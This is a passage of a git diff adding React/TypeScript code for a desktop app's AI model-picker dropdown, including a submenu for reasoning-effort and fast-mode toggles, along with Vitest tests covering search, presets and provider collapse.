+          } else if (event.key === 'Enter') {
+            event.preventDefault()
+            event.stopPropagation()
+            commitKbRow()
+          }
+        }}
+        onValueChange={value => {
+          setSearch(value)
+          setKbOverride(null)
+        }}
+        placeholder={copy.search}
+        value={search}
+      />
+
+      <DropdownMenuSeparator className="mx-0" />
+
+      {loading ? (
+        <DropdownMenuGroup className="py-1">
+          {Array.from({ length: 4 }, (_, index) => (
+            <DropdownMenuItem
+              className={dropdownMenuRow}
+              disabled
+              key={index}
+              onSelect={event => event.preventDefault()}
+            >
+              <Skeleton className="h-4 w-full" />
+            </DropdownMenuItem>
+          ))}
+        </DropdownMenuGroup>
+      ) : error ? (
+        <DropdownMenuItem className={dropdownMenuRow} disabled>
+          {error}
+        </DropdownMenuItem>
+      ) : groups.length === 0 && moaPresets.length === 0 ? (
+        <DropdownMenuItem className={dropdownMenuRow} disabled>
+          {copy.noModels}
+        </DropdownMenuItem>
+      ) : (
+        <div className={cn('max-h-[max(150px,30dvh)] overflow-y-auto py-0.5', quietRows)} ref={listRef}>
+          {groups.map(group => {
+            const slug = group.provider.slug
+
+            // Collapsed when the user stored it (and not while searching, which
+            // spans every model regardless of collapse state).
+            const collapsed = collapsedProviders.includes(slug) && !search
+
+            return (
+              <DropdownMenuGroup className="py-0.5" key={slug}>
+                <DropdownMenuItem
+                  className="group/label flex w-full items-center gap-1 px-2 pb-0.5 pt-0.5 text-[0.625rem] font-semibold uppercase tracking-wider text-(--ui-text-tertiary) cursor-pointer !bg-transparent focus:!bg-transparent"
+                  onSelect={event => {
+                    event.preventDefault()
+                    toggleCollapsedProvider(slug)
+                  }}
+                  textValue=""
+                >
+                  <span className="truncate">
+                    <HighlightMatches query={search} text={group.provider.name} />
+                  </span>
+                  <DisclosureCaret
+                    className="shrink-0 text-(--ui-text-tertiary) opacity-0 transition group-hover/label:opacity-100"
+                    open={!collapsed}
+                    size="0.625rem"
+                  />
+                </DropdownMenuItem>
+                {!collapsed &&
+                  group.families.map(family => {
+                    // The active id may be the base or its -fast sibling; either
+                    // way this one family row represents both.
+                    const activeId =
+                      group.provider.slug === current.provider &&
+                      (current.model === family.id || current.model === family.fastId)
+                        ? current.model
+                        : null
+
+                    const isCurrent = activeId !== null
+                    const name = modelDisplayParts(family.id).name
+                    const caps = group.provider.capabilities?.[family.id]
+
+                    // Effective settings for this row: the live choice when it's
+                    // the active model, otherwise its remembered preset. Row
+                    // label AND submenu read from these so they never disagree.
+                    const preset = controller.presetFor(group.provider.slug, family.id)
+                    const effEffort = isCurrent ? current.effort : (preset.effort ?? '')
+                    const effFast = isCurrent ? current.fast : (preset.fast ?? false)
+
+                    const fastControl: FastControl = resolveFastControl(
+                      activeId ?? family.id,
+                      group.provider.models ?? [],
+                      caps?.fast ?? false,
+                      effFast
+                    )
+
+                    const meta = [
+                      fastControl.kind !== 'none' && fastControl.on ? copy.fast : null,
+                      (caps?.reasoning ?? true) ? reasoningEffortLabel(effEffort || defaultEffort) : null
+                    ]
+                      .filter(Boolean)
+                      .join(' ')
+
+                    // Clicking the row commits the model and closes; the edit
+                    // submenu (reasoning/fast) is reached by HOVER, so you can
+                    // tweak those without the click dismissing everything.
+                    const activate = () => {
+                      if (!isCurrent) {
+                        void selectFamily(family, group.provider)
+                      }
+
+                      closeMenu()
+                    }
+
+                    return (
+                      <DropdownMenuSub key={`${group.provider.slug}:${family.id}`}>
+                        <DropdownMenuSubTrigger
+                          hideChevron
+                          onClick={activate}
+                          onKeyDown={event => {
+                            if (event.key === 'Enter' || event.key === ' ') {
+                              activate()
+                            }
+                          }}
+                          {...kbRowProps(`${group.provider.slug}:${family.id}`)}
+                        >
+                          <span className="min-w-0 flex-1 truncate">
+                            <HighlightMatches query={search} text={name} />
+                            {meta ? <span className="text-(--ui-text-tertiary)"> {meta}</span> : null}
+                          </span>
+                          {isCurrent ? (
+                            <Codicon className="ml-auto text-foreground" name="check" size="0.75rem" />
+                          ) : null}
+                        </DropdownMenuSubTrigger>
+                        <ModelEditSubmenu
+                          defaultEffort={defaultEffort}
+                          effort={effEffort}
+                          fastControl={fastControl}
+                          isActive={isCurrent}
+                          model={family.id}
+                          onSelectModel={nextModel => controller.select(nextModel, group.provider.slug)}
+                          onSetOptions={patch =>
+                            controller.setOptions(patch, {
+                              isActive: isCurrent,
+                              model: family.id,
+                              provider: group.provider.slug
+                            })
+                          }
+                          provider={group.provider.slug}
+                          reasoning={caps?.reasoning ?? true}
+                        />
+                      </DropdownMenuSub>
+                    )
+                  })}
+              </DropdownMenuGroup>
+            )
+          })}
+        </div>
+      )}
+
+      {shownMoaPresets.length > 0 ? (
+        <div className={cn(quietRows)}>
+          <DropdownMenuSeparator className="mx-0" />
+          <DropdownMenuLabel className={dropdownMenuSectionLabel}>MoA presets</DropdownMenuLabel>
+          {shownMoaPresets.map(preset => {
+            const isCurrentMoa = current.provider === 'moa' && current.model === preset
+
+            return (
+              <DropdownMenuItem
+                key={`moa:${preset}`}
+                onSelect={event => {
+                  event.preventDefault()
+                  void selectMoaPreset(preset)
+                }}
+                {...kbRowProps(`moa:${preset}`)}
+              >
+                <span className="min-w-0 flex-1 truncate">
+                  MoA: <HighlightMatches query={search} text={preset} />
+                </span>
+                {isCurrentMoa ? <Codicon className="ml-auto text-foreground" name="check" size="0.75rem" /> : null}
+              </DropdownMenuItem>
+            )
+          })}
+        </div>
+      ) : null}
+
+      {/* Curation belongs to the catalog, not to one host: wherever you can
+          pick a model you can say which models you want, and the shortlist is
+          the same everywhere because it's one stored preference. It shares the
+          host footer's group rather than opening a second one, so a host that
+          contributes rows (the composer's Refresh Models) keeps the single
+          trailing block it has always rendered. */}
+      <DropdownMenuSeparator className="mx-0" />
+      {footer}
+      <DropdownMenuItem
+        className={cn(dropdownMenuRow, 'text-(--ui-text-tertiary)')}
+        onSelect={() => setModelVisibilityOpen(true)}
+      >
+        <Codicon name="settings-gear" size="0.75rem" />
+        {copy.editModels}
+      </DropdownMenuItem>
+    </>
+  )
+}
+
+/** Re-exported so callers building a footer row match the catalog's rows. */
+export { dropdownMenuRow }
+
+// Collapsed we show the user's chosen models (or the curated default); typing
+// spans every available model so anything is reachable past the cut. A search
+// is itself a narrowing action, so we do NOT cap per-provider matches.
+function groupModels(
+  providers: ModelOptionProvider[],
+  search: string,
+  current: { model: string; provider: string },
+  visible: Set<string> | null
+): ProviderGroup[] {
+  const q = normalize(search)
+  const groups: ProviderGroup[] = []
+
+  for (const provider of providers) {
+    const allFamilies = collapseModelFamilies(provider.models ?? [])
+
+    if (allFamilies.length === 0) {
+      continue
+    }
+
+    const matches = (family: ModelFamily) =>
+      `${family.id} ${family.fastId ?? ''} ${provider.name} ${provider.slug} ${displayModelName(family.id)}`
+        .toLowerCase()
+        .includes(q)
+
+    let shown: Set<string>
+
+    if (q) {
+      // Search spans every family, regardless of visibility.
+      shown = new Set(allFamilies.filter(matches).map(family => family.id))
+    } else if (visible) {
+      // User has customized which models show — honor their selection exactly.
+      shown = new Set(
+        allFamilies.filter(family => visible.has(modelVisibilityKey(provider.slug, family.id))).map(family => family.id)
+      )
+    } else {
+      shown = new Set(allFamilies.slice(0, DEFAULT_VISIBLE_PER_PROVIDER).map(family => family.id))
+    }
+
+    // Always include the active model — but keep every row in the provider's
+    // stable curated order, so selecting a model can't shuffle the list. While
+    // SEARCHING the pin is skipped: a query means "show me matches".
+    const activeId =
+      !q && provider.slug === current.provider && current.model
+        ? allFamilies.find(family => family.id === current.model || family.fastId === current.model)?.id
+        : undefined
+
+    const families = allFamilies.filter(family => shown.has(family.id) || family.id === activeId)
+
+    if (families.length > 0) {
+      groups.push({ families, provider })
+    }
+  }
+
+  // Stable, logical group order: alphabetical by provider name. (The backend
+  // floats the current provider first, which would reshuffle on every switch.)
+  groups.sort((a, b) => a.provider.name.localeCompare(b.provider.name))
+
+  return groups
+}
+
+// Small hooks kept at the bottom so the component reads top-down.
+function useStoreCollapsed(): string[] {
+  return useStore($collapsedProviders)
+}
+
+function useDefaultEffort(): string {
+  return useStore($defaultReasoningEffort) || DEFAULT_REASONING_EFFORT
+}
diff --git a/ui-desktop/src/app/shell/model-edit-submenu.test.tsx b/ui-desktop/src/app/shell/model-edit-submenu.test.tsx
new file mode 100644
index 000000000..3685f8e44
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-edit-submenu.test.tsx
@@ -0,0 +1,131 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuSub,
+  DropdownMenuSubTrigger
+} from '@/components/ui/dropdown-menu'
+
+import { type FastControl, ModelEditSubmenu } from './model-edit-submenu'
+
+// Radix calls these on open; jsdom doesn't implement them.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+// Render the submenu inside an open menu/sub so its content (switches) mounts.
+function renderSubmenu(opts: {
+  defaultEffort?: string
+  effort?: string
+  fastControl: FastControl
+  isActive?: boolean
+  onSelectModel?: (model: string) => void
+  onSetOptions: (patch: { effort?: string; fast?: boolean }) => void
+  reasoning: boolean
+}) {
+  return render(
+    <DropdownMenu open>
+      <DropdownMenuContent>
+        <DropdownMenuSub open>
+          <DropdownMenuSubTrigger>edit</DropdownMenuSubTrigger>
+          <ModelEditSubmenu
+            defaultEffort={opts.defaultEffort ?? 'medium'}
+            effort={opts.effort ?? 'medium'}
+            fastControl={opts.fastControl}
+            isActive={opts.isActive ?? true}
+            model="m1"
+            onSelectModel={opts.onSelectModel ?? vi.fn()}
+            onSetOptions={opts.onSetOptions}
+            provider="p1"
+            reasoning={opts.reasoning}
+          />
+        </DropdownMenuSub>
+      </DropdownMenuContent>
+    </DropdownMenu>
+  )
+}
+
+// The submenu is PURE: it reports edits and never writes to a session, a
+// preset store, or the gateway. That's the invariant that lets the same
+// component drive a live chat session AND a detached per-task override — if it
+// ever writes directly again, picking an effort for a kanban card would reach
+// over and change the user's live chat.
+describe('ModelEditSubmenu reports edits without performing them', () => {
+  it('param fast: reports the toggle', () => {
+    const onSetOptions = vi.fn()
+    renderSubmenu({ fastControl: { kind: 'param', on: true }, onSetOptions, reasoning: false })
+
+    fireEvent.click(screen.getByRole('switch'))
+
+    expect(onSetOptions).toHaveBeenCalledWith({ fast: false })
+  })
+
+  it('thinking: toggling off reports the none level', () => {
+    const onSetOptions = vi.fn()
+    renderSubmenu({ fastControl: { kind: 'none' }, onSetOptions, reasoning: true })
+
+    // Thinking starts on (medium); toggling it off reports 'none'.
+    fireEvent.click(screen.getByRole('switch'))
+
+    expect(onSetOptions).toHaveBeenCalledWith({ effort: 'none' })
+  })
+
+  it('thinking: toggling back on restores the row level, not the hardcoded default', () => {
+    const onSetOptions = vi.fn()
+    renderSubmenu({
+      defaultEffort: 'high',
+      effort: 'none',
+      fastControl: { kind: 'none' },
+      onSetOptions,
+      reasoning: true
+    })
+
+    fireEvent.click(screen.getByRole('switch'))
+
+    expect(onSetOptions).toHaveBeenCalledWith({ effort: 'high' })
+  })
+
+  it('variant fast: swaps the model only when the row is active', () => {
+    const onSelectModel = vi.fn()
+    const onSetOptions = vi.fn()
+
+    renderSubmenu({
+      fastControl: { baseId: 'm1', fastId: 'm1-fast', kind: 'variant', on: false },
+      isActive: false,
+      onSelectModel,
+      onSetOptions,
+      reasoning: false
+    })
+
+    fireEvent.click(screen.getByRole('switch'))
+
+    // Inactive rows stay preference-only — no model switch.
+    expect(onSetOptions).toHaveBeenCalledWith({ fast: true })
+    expect(onSelectModel).not.toHaveBeenCalled()
+  })
+
+  it('variant fast: active row swaps to the -fast sibling', () => {
+    const onSelectModel = vi.fn()
+    const onSetOptions = vi.fn()
+
+    renderSubmenu({
+      fastControl: { baseId: 'm1', fastId: 'm1-fast', kind: 'variant', on: false },
+      onSelectModel,
+      onSetOptions,
+      reasoning: false
+    })
+
+    fireEvent.click(screen.getByRole('switch'))
+
+    expect(onSelectModel).toHaveBeenCalledWith('m1-fast')
+  })
+})
diff --git a/ui-desktop/src/app/shell/model-edit-submenu.tsx b/ui-desktop/src/app/shell/model-edit-submenu.tsx
new file mode 100644
index 000000000..6991271ac
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-edit-submenu.tsx
@@ -0,0 +1,179 @@
+import {
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuRadioGroup,
+  DropdownMenuRadioItem,
+  dropdownMenuRow,
+  dropdownMenuSectionLabel,
+  DropdownMenuSeparator,
+  DropdownMenuSubContent
+} from '@/components/ui/dropdown-menu'
+import { Switch } from '@/components/ui/switch'
+import { useI18n } from '@/i18n'
+import { isThinkingEnabled, REASONING_EFFORTS, resolveReasoningEffort } from '@/lib/reasoning-effort'
+
+// ClawCodex' real reasoning levels live in lib/reasoning-effort; `none` is owned
+// by the Thinking toggle, not the radio.
+
+/** How "fast" is achieved for a given model — two different mechanisms:
+ *  - `param`: the Anthropic/OpenAI `speed=fast` request parameter.
+ *  - `variant`: a separate `…-fast` sibling model selected via the model field.
+ */
+export type FastControl =
+  { kind: 'none' } | { kind: 'param'; on: boolean } | { kind: 'variant'; baseId: string; fastId: string; on: boolean }
+
+/** Resolve the fast mechanism for a model: prefer the speed=fast parameter
+ *  when the backend supports it, else fall back to a `…-fast` sibling model. */
+export function resolveFastControl(
+  model: string,
+  providerModels: readonly string[],
+  paramSupported: boolean,
+  currentFastMode: boolean
+): FastControl {
+  if (paramSupported) {
+    return { kind: 'param', on: currentFastMode }
+  }
+
+  if (/-fast$/i.test(model)) {
+    const baseId = model.replace(/-fast$/i, '')
+
+    // Only a toggle if there's a base to switch back to; otherwise it's a
+    // standalone fast model with no "off" state.
+    return providerModels.includes(baseId) ? { kind: 'variant', baseId, fastId: model, on: true } : { kind: 'none' }
+  }
+
+  const fastId = `${model}-fast`
+
+  if (providerModels.includes(fastId)) {
+    return { kind: 'variant', baseId: model, fastId, on: false }
+  }
+
+  // Fast isn't natively offered here, but if the session still has the speed
+  // param on (carried over from a previous model), expose the toggle so it can
+  // be turned off rather than stranded.
+  if (currentFastMode) {
+    return { kind: 'param', on: true }
+  }
+
+  return { kind: 'none' }
+}
+
+interface ModelEditSubmenuProps {
+  /** The profile's configured default effort — what an unset row inherits.
+   *  Passed in (not read from a store) so this submenu stays pure. */
+  defaultEffort: string
+  /** This row's effective reasoning effort (live for the active model, else its
+   *  preset) — the submenu shows and edits from this, never the raw session. */
+  effort: string
+  /** How fast mode is offered for this model (param toggle vs. variant swap). */
+  fastControl: FastControl
+  /** Whether this row's model is the active one. */
+  isActive: boolean
+  /** This row's model id. */
+  model: string
+  /** Switch to a specific model id (used to swap base ⇄ -fast variant). */
+  onSelectModel: (model: string) => Promise<boolean | void> | void
+  /** Report an option change. This submenu is PURE: it never writes to a
+   *  session, a preset store, or the gateway itself — the owning surface's
+   *  controller decides what an edit means. That's what lets the same submenu
+   *  drive a live chat session and a detached per-task override. */
+  onSetOptions: (patch: { effort?: string; fast?: boolean }) => void
+  /** This row's provider slug. */
+  provider: string
+  /** Whether this model supports reasoning effort. */
+  reasoning: boolean
+}
+
+export function ModelEditSubmenu(props: ModelEditSubmenuProps) {
+  // The panel mounts one of these per model row; only the hovered row's
+  // submenu is ever open. Keep this wrapper hook-free and render the body as
+  // a CHILD of SubContent so Radix's Presence gate leaves it unrendered until
+  // the sub actually opens — eagerly running the body's hooks/JSX for every
+  // row made opening the menu itself lag on large catalogs.
+  return (
+    <DropdownMenuSubContent className="w-52 p-0" sideOffset={4}>
+      <ModelEditSubmenuBody {...props} />
+    </DropdownMenuSubContent>
+  )
+}
+
+function ModelEditSubmenuBody({
+  defaultEffort,
+  effort,
+  fastControl,
+  isActive,
+  onSelectModel,
+  onSetOptions,
+  reasoning
+}: ModelEditSubmenuProps) {
+  const { t } = useI18n()
+  const copy = t.shell.modelOptions
+
+  const effortValue = resolveReasoningEffort(effort, defaultEffort)
+  const thinkingOn = isThinkingEnabled(effort, defaultEffort)
+
+  const setFast = (enabled: boolean) => {
+    if (fastControl.kind === 'variant') {
+      // Fast is a separate model id. Report the choice so the controller can
+      // record it against the base model, and only swap models now if this is
+      // the active row — inactive edits stay preference-only.
+      onSetOptions({ fast: enabled })
+
+      if (isActive) {
+        void onSelectModel(enabled ? fastControl.fastId : fastControl.baseId)
+      }
+
+      return
+    }
+
+    if (fastControl.kind === 'param') {
+      onSetOptions({ fast: enabled })
+    }
+  }
+
+  const hasFast = fastControl.kind !== 'none'
+  const fastOn = fastControl.kind === 'none' ? false : fastControl.on
+
+  return !hasFast && !reasoning ? (
+    <div className="px-2.5 py-3 text-xs text-(--ui-text-tertiary)">{copy.noOptions}</div>
+  ) : (
+    <>
+      <DropdownMenuLabel className={dropdownMenuSectionLabel}>{copy.options}</DropdownMenuLabel>
+      {reasoning ? (
+        <DropdownMenuItem className={dropdownMenuRow} onSelect={event => event.preventDefault()}>
+          {copy.thinking}
+          <Switch
+            checked={thinkingOn}
+            className="ml-auto"
+            onCheckedChange={checked => onSetOptions({ effort: checked ? effortValue || defaultEffort : 'none' })}
+            size="xs"
+          />
+        </DropdownMenuItem>
+      ) : null}
+      {hasFast ? (
+        <DropdownMenuItem className={dropdownMenuRow} onSelect={event => event.preventDefault()}>
+          {copy.fast}
+          <Switch checked={fastOn} className="ml-auto" onCheckedChange={setFast} size="xs" />
+        </DropdownMenuItem>
+      ) : null}
+      {reasoning ? (
+        <>
+          <DropdownMenuSeparator className="mx-0" />
+          <DropdownMenuLabel className={dropdownMenuSectionLabel}>{copy.effort}</DropdownMenuLabel>
+          <DropdownMenuRadioGroup onValueChange={value => onSetOptions({ effort: value })} value={effortValue}>
+            {REASONING_EFFORTS.map(value => (
+              <DropdownMenuRadioItem
+                className={dropdownMenuRow}
+                key={value}
+                onSelect={event => event.preventDefault()}
+                value={value}
+              >
+                {copy[value]}
+              </DropdownMenuRadioItem>
+            ))}
+          </DropdownMenuRadioGroup>
+        </>
+      ) : null}
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/shell/model-menu-panel.test.tsx b/ui-desktop/src/app/shell/model-menu-panel.test.tsx
new file mode 100644
index 000000000..43f126707
--- /dev/null
+++ b/ui-desktop/src/app/shell/model-menu-panel.test.tsx
@@ -0,0 +1,402 @@
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { DropdownMenu, DropdownMenuContent } from '@/components/ui/dropdown-menu'
+import { $collapsedProviders, toggleCollapsedProvider } from '@/store/provider-collapse'
+import { $activeSessionId, $currentModel, $currentProvider } from '@/store/session'
+
+import { ModelMenuPanel } from './model-menu-panel'
+
+// Radix calls these on open; jsdom doesn't implement them.
+beforeAll(() => {
+  Element.prototype.scrollIntoView = vi.fn()
+  Element.prototype.hasPointerCapture = vi.fn(() => false)
+  Element.prototype.releasePointerCapture = vi.fn()
+})
+
+const getGlobalModelOptions = vi.fn()
+
+vi.mock('@/clawcodex', () => ({
+  getGlobalModelOptions: (...args: unknown[]) => getGlobalModelOptions(...args),
+  setApiRequestProfile: vi.fn()
+}))
+
+// MoA presets now arrive as the catalog's virtual `moa` provider row (the same
+// payload a remote gateway's model.options returns), not the /api/model/moa
+// REST config.
+const MOA_PROVIDER = { models: ['default', 'BeastMode'], name: 'Mixture of Agents', slug: 'moa' }
+
+const DEEPSEEK_PROVIDER = {
+  models: ['deepseek-v4-pro', 'deepseek-chat', 'deepseek-reasoner'],
+  name: 'DeepSeek',
+  slug: 'deepseek'
+}
+
+const GOOGLE_PROVIDER = {
+  models: ['gemini-3.1-pro', 'gemini-2.5-flash', 'gemini-2.5-pro'],
+  name: 'Google',
+  slug: 'google'
+}
+
+const MOCK_PROVIDERS = [DEEPSEEK_PROVIDER, GOOGLE_PROVIDER, MOA_PROVIDER]
+
+beforeEach(() => {
+  $activeSessionId.set('runtime-1')
+  $currentModel.set('')
+  $currentProvider.set('')
+  $collapsedProviders.set([])
+  getGlobalModelOptions.mockResolvedValue({ providers: MOCK_PROVIDERS })
+})
+
+afterEach(() => {
+  cleanup()
+  vi.clearAllMocks()
+})
+
+function renderPanel(onSelectModel = vi.fn()) {
+  const client = new QueryClient({ defaultOptions: { queries: { retry: false } } })
+
+  const content = render(
+    <QueryClientProvider client={client}>
+      <DropdownMenu open>
+        <DropdownMenuContent>
+          <ModelMenuPanel onSelectModel={onSelectModel} requestGateway={vi.fn() as never} />
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </QueryClientProvider>
+  )
+
+  return { onSelectModel, content }
+}
+
+describe('ModelMenuPanel MoA presets', () => {
+  it('selecting a MoA preset switches PERSISTENTLY via onSelectModel (not the one-shot dispatch)', async () => {
+    const { content, onSelectModel } = renderPanel()
+
+    // moaOptions is async (useQuery) — wait for the preset row to mount.
+    const row = await content.findByText('MoA: BeastMode')
+    fireEvent.click(row)
+
+    // #54670: must route through the persistent model-switch path
+    // i.e. onSelectModel with provider 'moa' (which session-scopes live-session
+    // switches), NOT a one-shot command.dispatch that reverts after a turn.
+    expect(onSelectModel).toHaveBeenCalledWith({ model: 'BeastMode', provider: 'moa', sessionId: 'runtime-1' })
+  })
+
+  it('shows the check on the preset that matches the current moa selection', async () => {
+    $currentProvider.set('moa')
+    $currentModel.set('BeastMode')
+    const { content } = renderPanel()
+
+    const row = await content.findByText('MoA: BeastMode')
+    // The check codicon renders as a sibling within the same row item.
+    const item = row.closest('[role="menuitem"]') ?? row.parentElement
+    expect(item?.querySelector('.codicon-check')).not.toBeNull()
+  })
+
+  it('keeps the virtual moa provider out of the main model groups (presets section only)', async () => {
+    const { content } = renderPanel()
+
+    await content.findByText('MoA: BeastMode')
+
+    // The provider group header would read "Mixture of Agents"; the presets
+    // section header reads "MoA presets". Only the latter should exist.
+    // Radix DropdownMenu portals its content to document.body, so assert
+    // against the body (not content.container) to see the rendered items.
+
+    // eslint-disable-next-line no-restricted-globals
+    expect(document.body.textContent).toContain('MoA presets')
+    // eslint-disable-next-line no-restricted-globals
+    expect(document.body.textContent).not.toContain('Mixture of Agents')
+  })
+
+  it('renders presets from the catalog even before a session exists', async () => {
+    $activeSessionId.set('')
+    const { onSelectModel, content } = renderPanel()
+
+    const row = await content.findByText('MoA: BeastMode')
+    fireEvent.click(row)
+
+    // Pre-session picks are UI state shipped on the next session.create — the
+    // row must not be disabled and must still route through onSelectModel.
+    expect(onSelectModel).toHaveBeenCalledWith({ model: 'BeastMode', provider: 'moa', sessionId: null })
+  })
+})
+
+describe('ModelMenuPanel current selection', () => {
+  it('keeps the checkmark on the live SessionView model when a stale options response disagrees', async () => {
+    $currentProvider.set('google')
+    $currentModel.set('gemini-3.1-pro')
+    getGlobalModelOptions.mockResolvedValue({
+      model: 'deepseek-chat',
+      provider: 'deepseek',
+      providers: MOCK_PROVIDERS
+    })
+
+    const { content } = renderPanel()
+
+    const currentRow = (await content.findByText(/Gemini 3\.1 Pro/i)).closest('[role="menuitem"]')
+    const staleRow = content.getByText('Deepseek Chat').closest('[role="menuitem"]')
+
+    expect(currentRow?.querySelector('.codicon-check')).not.toBeNull()
+    expect(staleRow?.querySelector('.codicon-check')).toBeNull()
+  })
+})
+
+describe('ModelMenuPanel search', () => {
+  // The pinned current model must NOT ride along on a query it doesn't match:
+  // it reads like the top result, so Enter/click picks the wrong model (the
+  // "type grok, get fable" bug). Every surveyed picker (VS Code, Zed, Open
+  // WebUI, Cherry Studio) drops the pin while filtering.
+  // Highlighted labels are split across <mark> nodes, so single-text-node
+  // queries miss them — match on the row span's composed textContent.
+  const rowWithText = (content: ReturnType<typeof renderPanel>['content'], pattern: RegExp) =>
+    content.queryByText((_, element) => element?.tagName === 'SPAN' && pattern.test(element.textContent ?? ''))
+
+  it('hides the non-matching current model while a query is active', async () => {
+    $currentProvider.set('deepseek')
+    $currentModel.set('deepseek-v4-pro')
+    const { content } = renderPanel()
+
+    await content.findByText(/Deepseek V4 Pro/i)
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.change(input, { target: { value: 'gemini' } })
+
+    await vi.waitFor(() => {
+      expect(rowWithText(content, /Gemini 3\.1 Pro/i)).not.toBeNull()
+    })
+    expect(rowWithText(content, /Deepseek V4 Pro/i)).toBeNull()
+  })
+
+  it('Enter in the search field commits the first match', async () => {
+    const { content, onSelectModel } = renderPanel()
+
+    await content.findByText('DeepSeek')
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.change(input, { target: { value: 'gemini' } })
+
+    await vi.waitFor(() => {
+      expect(rowWithText(content, /Gemini 3\.1 Pro/i)).not.toBeNull()
+    })
+
+    fireEvent.keyDown(input, { key: 'Enter' })
+
+    // First matching family of the first (alphabetical) matching provider.
+    await vi.waitFor(() => {
+      expect(onSelectModel).toHaveBeenCalledWith({
+        model: 'gemini-3.1-pro',
+        provider: 'google',
+        sessionId: 'runtime-1'
+      })
+    })
+  })
+
+  it('Enter with no matches is a no-op (menu stays put, nothing selected)', async () => {
+    const { content, onSelectModel } = renderPanel()
+
+    await content.findByText('DeepSeek')
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.change(input, { target: { value: 'zzz-no-such-model' } })
+    fireEvent.keyDown(input, { key: 'Enter' })
+
+    expect(onSelectModel).not.toHaveBeenCalled()
+  })
+
+  it('arrows move the selection without leaving the input; Enter commits the stepped row', async () => {
+    const { content, onSelectModel } = renderPanel()
+
+    await content.findByText('DeepSeek')
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.change(input, { target: { value: 'gemini' } })
+
+    await vi.waitFor(() => {
+      expect(rowWithText(content, /Gemini 3\.1 Pro/i)).not.toBeNull()
+    })
+
+    // First match auto-selected; ↓ steps to the second match.
+    fireEvent.keyDown(input, { key: 'ArrowDown' })
+    fireEvent.keyDown(input, { key: 'Enter' })
+
+    await vi.waitFor(() => {
+      expect(onSelectModel).toHaveBeenCalledWith({
+        model: 'gemini-2.5-flash',
+        provider: 'google',
+        sessionId: 'runtime-1'
+      })
+    })
+  })
+
+  it('with no query the selection sits on the current model, so Enter closes without switching', async () => {
+    $currentProvider.set('google')
+    $currentModel.set('gemini-3.1-pro')
+    const { content, onSelectModel } = renderPanel()
+
+    await content.findByText('DeepSeek')
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.keyDown(input, { key: 'Enter' })
+
+    expect(onSelectModel).not.toHaveBeenCalled()
+  })
+
+  it('filters MoA presets by the query instead of leaving them as phantom first matches', async () => {
+    const { content, onSelectModel } = renderPanel()
+
+    await content.findByText('MoA: BeastMode')
+
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    fireEvent.change(input, { target: { value: 'beast' } })
+
+    await vi.waitFor(() => {
+      expect(rowWithText(content, /MoA: BeastMode/)).not.toBeNull()
+    })
+    expect(rowWithText(content, /MoA: default/)).toBeNull()
+
+    // The surviving preset IS the first row, so Enter commits it.
+    fireEvent.keyDown(input, { key: 'Enter' })
+
+    await vi.waitFor(() => {
+      expect(onSelectModel).toHaveBeenCalledWith({ model: 'BeastMode', provider: 'moa', sessionId: 'runtime-1' })
+    })
+  })
+})
+
+describe('ModelMenuPanel provider collapse', () => {
+  it('shows all provider models by default (none collapsed)', async () => {
+    const { content } = renderPanel()
+
+    await content.findByText('DeepSeek')
+    expect(content.queryByText('Deepseek V4 Pro')).not.toBeNull()
+    expect(content.queryByText('Deepseek Chat')).not.toBeNull()
+  })
+
+  it('collapses provider models when header is clicked', async () => {
+    const { content } = renderPanel()
+
+    const header = await content.findByText('DeepSeek')
+    fireEvent.click(header)
+
+    // Models should disappear but header stays
+    expect(content.queryByText('Deepseek V4 Pro')).toBeNull()
+    expect(content.queryByText('DeepSeek')).not.toBeNull()
+  })
+
+  it('expands provider models when header is clicked again', async () => {
+    const { content } = renderPanel()
+
+    const header = await content.findByText('DeepSeek')
+    // Collapse
+    fireEvent.click(header)
+    expect(content.queryByText('Deepseek V4 Pro')).toBeNull()
+    // Expand
+    fireEvent.click(header)
+    await vi.waitFor(() => {
+      expect(content.queryByText('Deepseek V4 Pro')).not.toBeNull()
+    })
+  })
+
+  it('collapses the active provider too (no forced auto-expand)', async () => {
+    $currentProvider.set('deepseek')
+    $currentModel.set('deepseek-v4-pro')
+    const { content } = renderPanel()
+
+    const header = await content.findByText('DeepSeek')
+    fireEvent.click(header)
+
+    // The current provider is collapsible like any other — clicking its header
+    // hides its models rather than forcing them to stay open.
+    await vi.waitFor(() => {
+      expect(content.queryByText('Deepseek V4 Pro')).toBeNull()
+    })
+  })
+
+  it('bypasses collapse when search is active', async () => {
+    const { content } = renderPanel()
+
+    const header = await content.findByText('DeepSeek')
+    fireEvent.click(header)
+    expect(content.queryByText('Deepseek V4 Pro')).toBeNull()
+
+    // Type in the search bar (auto-focused by DropdownMenuSearch)
+    const input = screen.getByRole('textbox', { name: 'Search models' })
+    expect(input).not.toBeNull()
+    fireEvent.change(input, { target: { value: 'deepseek' } })
+
+    // Should show models — search bypasses collapse. The matched letters render
+    // inside a <mark>, splitting the label across nodes, so match on the row
+    // span's composed textContent instead of a single text node.
+    await vi.waitFor(() => {
+      expect(
+        content.queryByText(
+          (_, element) => element?.tagName === 'SPAN' && (element.textContent ?? '').startsWith('Deepseek V4 Pro')
+        )
+      ).not.toBeNull()
+    })
+  })
+
+  it('toggles collapse via keyboard Enter on header', async () => {
+    const { content } = renderPanel()
+
+    const header = await content.findByText('DeepSeek')
